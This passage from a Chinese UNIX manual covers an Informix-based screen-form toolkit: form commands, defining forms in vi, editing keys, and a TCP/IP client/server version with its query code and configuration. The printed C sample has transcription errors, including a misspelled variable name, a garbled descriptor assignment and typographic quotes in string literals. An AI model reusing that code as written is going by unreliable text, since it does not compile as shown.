将编辑或修改完的FORM存入文件。原来同号的FORM被作废,故需定期清理
FORM。
10. F 单选
可单独选出一个指定的FORM参数,文件名“./f????”, ?表示FORM号。
作用∶有些FORM的功能通用,可移到其他用户的FORM参数文件中。
移值方法∶ cat f??? >>other.form
11. D 删除
对弃用的FORM进行删除。
(四)FORM的定制:
1. 利用UNIX编辑工具,对FORM进行初步的定制。
(1) 选命令 v,输入交易号,(假设交易号是88)。系统就调用UNIX编辑工具
(如vi),生成文本/tmp/form88,在文本在写的内容如下∶
序号 文 本 内 容
1
2
3
4
5 记 帐
6
7
8 帐 号∶ $A12
9
10 凭证号∶ $N6
11
12 摘 要∶ $C10
13
14 金 额∶ $M12
------------ 图13 ------------
在'$'符后的字符是类型,类型后的数字是长度。
将该文本存盘退出后,即返回系统画面,系统根据文本内容及各个域的
坐标,在内存生成结构为Dialog的FORM,见图14.
┏━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┓
┃ [命令] g [交易号] 88 [连接交易] 0 [驱动方式] [索引项] 0 ┃
┃ [序] [类型][长度][坐标][嵌入函数] [ 复 合 域 ]┃
┃ 0 A 12 739 0 ┃
┃ 1 N 6 939 0 ┃
┃ 2 C 10 1139 0 ┃
┃ 3 M 12 1339 0 ┃
┃ 4 l 0 437 0 记 帐 ┃
┃ 5 l 0 730 0 帐 号∶ ┃
┃ 6 l 0 930 0 凭证号∶ ┃
┃ 7 l 0 1130 0 摘 要∶ ┃
┃ 8 l 0 1330 0 金 额∶ ┃
┃ 9 0 0 0 ┃
┃ 10 0 0 0 ┃
┃ 11 0 0 0 ┃
┃ 12 0 0 0 ┃
┃ 13 0 0 0 ┃
┃ 14 0 0 0 ┃
┃ 15 0 0 0 ┃
┃ 16 0 0 0 ┃
┃ 17 0 0 0 ┃
┃ 18 0 0 0 ┃
┃ 19 0 0 0 ┃
┗━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┛
------------ 图14 ------------
用命令 w存盘,再用命令 s进行演示,见图15。如果对FORM不满意,可通过对
文本修改或直接修改FORM,直至满意。
┏━━━━━━━━━━━━━━┓
┃ 记 帐 ┃
┃ ┃
┃ ┃
┃帐 号∶[ ] ┃
┃ ┃
┃凭证号∶[ ] ┃
┃ ┃
┃摘 要∶[ ] ┃
┃ ┃
┃金 额∶[ ] ┃
┗━━━━━━━━━━━━━━┛
------------ 图15 ------------
(五)FORM的编辑:
用UNIX编辑只是FORM的初步定制,它只能对标题、数据的输入、显示域进行定义。
而对[连接交易]、[驱动方式]、[索引项]、[嵌入函数]以及菜单、数据库的表名、 字段名等等,需本系统提供的编辑功能或直接用vi编辑。
方法一____系统提供的编辑功能:
(1) 用命令 a进入,用光标键移到需改动的域。
(2) 行的复制功能.
把A 行开始的N 条复制到B 行上,方法如下∶
将光标移至A 行按F2键,再按要复制的条数N,再将光标移到B行按 F2键。
连续按两次F2,可在原行下复制一行。
(3) 行的插入功能.
按[Insert]键,可增加一行空行。
(4) 行的删除功能.
将删除行的类型改为空格,存盘时,会剔除该行。
(5) 复合域的编辑功能。
F1键向右移,[Backspace]键向左移。
命令切换键F3或[Delete],x删除字符,i插入字符,功能同vi.
方法二___利用vi编辑功能:
(1) 用命令 v进入、再输入form号。
(2) 如form是新建的,系统生成一个带有说明和一定格式的文本(见图16),由您
填写编辑。
如form已存在,系统生成一个带有原form参数的文本,由您修改。
[交易号] 120 [连接交易] 0 [驱动方式] B [索引项] 3
[类型][长度][坐标][嵌入函数] [ 复 合 域 ]
~~提示:以下值的横坐标必须在对应字段的区域内(以'[]'为界),否则无效!空缺值为零~~
------------ 图16 ------------
九。演示程序
演示程序menu、trade的功能相同;共用数据库test、FORM参数文件test.form.
你可阅读menu.ec、trade.ec中是如何调用本系统函数的;
你还可参考./menu/makefile、mknet ./trade/makefile、mknet;
十。有关网络版
所谓网络版就是在原版的基础上, 将程序分为前台程序(界面控制程序)和后台程序 (数据服
务器), 前台把FORM中涉及数据数据库的FORM, 组织成SQL语句通过网络传给后台, 后台把
SQL 的着执行结果返回前台, 如图16所示:
┏━━━━━┓ SQL语句送后台 ┏━━━━━━━━━┓
┃ ┃ ────────────→ ┃ ┃
┃ 前 台 ┃ ........TCP/IP........... ┃ 后台(net_server) ┃
┃ client ┃ ←──────────── ┃ server ┃
┗━━━━━┛ 查询、更新结果返回前台 ┗━━━━━━━━━┛
------图16-----
查询的核心代码:
Select(int tag, char *command)
{
$char *sel, Str[128];
$short flag;
$date Date;
$long Number, b_count, j;
$long prec;
$long type;
$long scale;
$double money;
$char result[128];
int ret, ffset=0;
int i=0;
char fmt[32], Tag;
if(DisplayFlag) printf(“tag=%c\nsql=%s\n”, tag, command);
RetPacket.txcode=SELECT;
if(tag=='M'){
//多项查询
sel=getfield(command, &offset);
if(strlen(sel)<2) goto EXIT1;
Tag=sel[0];
}
else
Tag=tag;
sel=getfield(command, &offset);
if(tag=='M') ChangeCmd(sel);
if(strlen(sel)<10) goto EXIT1;
if((ret=ComposeBrowse(10, sel))<0){
SqlErrHandle(SQLCODE, SELECT);
goto EXIT0;
}
RetPacket.txcode=SELECT;
$get descriptor 'browsdesc' :b_count=count;
if(SQLCODE){
SqlErrHandle(SQLCODE, SELECT);
goto EXIT0;
}
$fetch BROWSE using sql descriptor 'browsdesc';
if(SQLCODE){
strcpy(RetPacket.data, “SELECT ERROR|”);
SqlErrHandle(SQLCODE, SELECT);
goto EXIT0;
}
for(j=1;j<=b_count;j++){
$get descriptor 'browsdesc' value $j
$prec=precision, /*money、decimal*/
$scale=scale, /*money、decimal*/
0=type;
if(SQLCODE){
strcpy(RetPacket.data, “SELECT ERROR|”);
SqlErrHandle(SQLCODE, SELECT);
goto EXIT0;
}
switch(type){
case SQLFLOAT:
case SQLSMFLOAT:
case SQLDECIMAL:
case SQLMONEY:
if(prec)
sprintf(fmt, “%s%d.%df\0”, “%”,prec+1, scale);
else
strcpy(fmt, “%f”);
$get descriptor 'browsdesc' value $j
$money=data;
sprintf(result, fmt, money);
if(SQLCODE==DATAISNULL) result[0]=0;
break;
default:
$get descriptor 'browsdesc' value $j
$result=data;
}//switch
DelTailSpace(result);
if(SQLCODE==DATAISNULL) SQLCODE=0;
if(SQLCODE){
strcpy(RetPacket.data, “SELECT ERROR|”);
SqlErrHandle(SQLCODE, SELECT);
goto EXIT0;
}
strcat(RetPacket.data, result);
strcat(RetPacket.data, “|”);
}//for
if(DisplayFlag) puts(RetPacket.data);
EXIT0:
$close BROWSE;
$free BROWSE;
$deallocate descriptor 'browsdesc';
EXIT1:
return TRUE;
}
(一)网络版的作用:
增强安全性。INFORMIX能访问远程数据库,但须建立对等关系,会造成不安全。
本版无须建立对等关系,克服了这个弱点。
(二)网络版的用法:
1. 网络通讯使用TCP/IP协议。
2. 前、后台程序也可在同台机器上.
3. FORM的定制、函数及功能不变.
4. 链接的程序库: /usr/wform/lib/libnetform.a。
5. 通讯的配置文件: $HOME/etc/sys.net的内容:
(1)数据库名:对后台而设
[Database]
Database=mobile
(2)后台机器名:前、后台须一致。/etc/hosts中存在,也可以直接写IP地址。
[ServerHost]
ServerHost=save01
(3)端口号:前、后台须一致。
[NetForm. Tcp Port]
NetFormTcpPort=8168
(4)socket超时报警时间(秒),确省值60
[Socket Read & Write Time Out(s)]
SocketTimeOut=35
(5)查询超时报警时间(秒),确省值60, 仅对前台而设。
[Wgetch Time Out(s)]
WgetchTimeOut=30
(6)跟踪标志,仅对前台而设,0屏蔽,1开放。跟踪文件:$HOME/run/trace
[Trace Flag]
TraceFlag=0
(7)connect超时报警时间(秒) 仅对前台而设。
[Company Server Connect Time Out(s)]
ConnectTimeOut=8
(8) fork()服务子进程同时存在的最大数, 仅对后台而设。
[Max User Number]
UserNum=10
(9)显示部分服务程序接受和发送的数据。0屏蔽,1开放
[Display Server Data Flag]
DisplayFlag=1
6. 地址簿文件: $HOME/etc/hosts.equ 设在后台
记录允许访问数据库的前台机器的IP地址,未记录的机器不能访问。
设置方法:
(1)文件中加入all.hosts,对所有的客户开放。
(2)文件中加入网段地址(如13.7.5),对该网段开放。
(3)文件中加入完整的客户端IP地址(如12.17.23.76),对该客户机开放。
7. 服务器的启动:net_server
8. 服务器的停止:net_server stop
9. 返回值∶ 当sqlcode>-10时是本系统定义,含义如下∶
-1 收数据包出错: 如超时。
-2 拒绝服务∶ 地址簿无本机IP地址
-4 服务进程超过限定的数目。
【简单的介绍UNIX下的常用编辑工具VIWindows系统】相关文章:
2.《WIN下简单关闭TCP/UDP端口方法》Windows系统
6.人物介绍下作文






文档为doc格式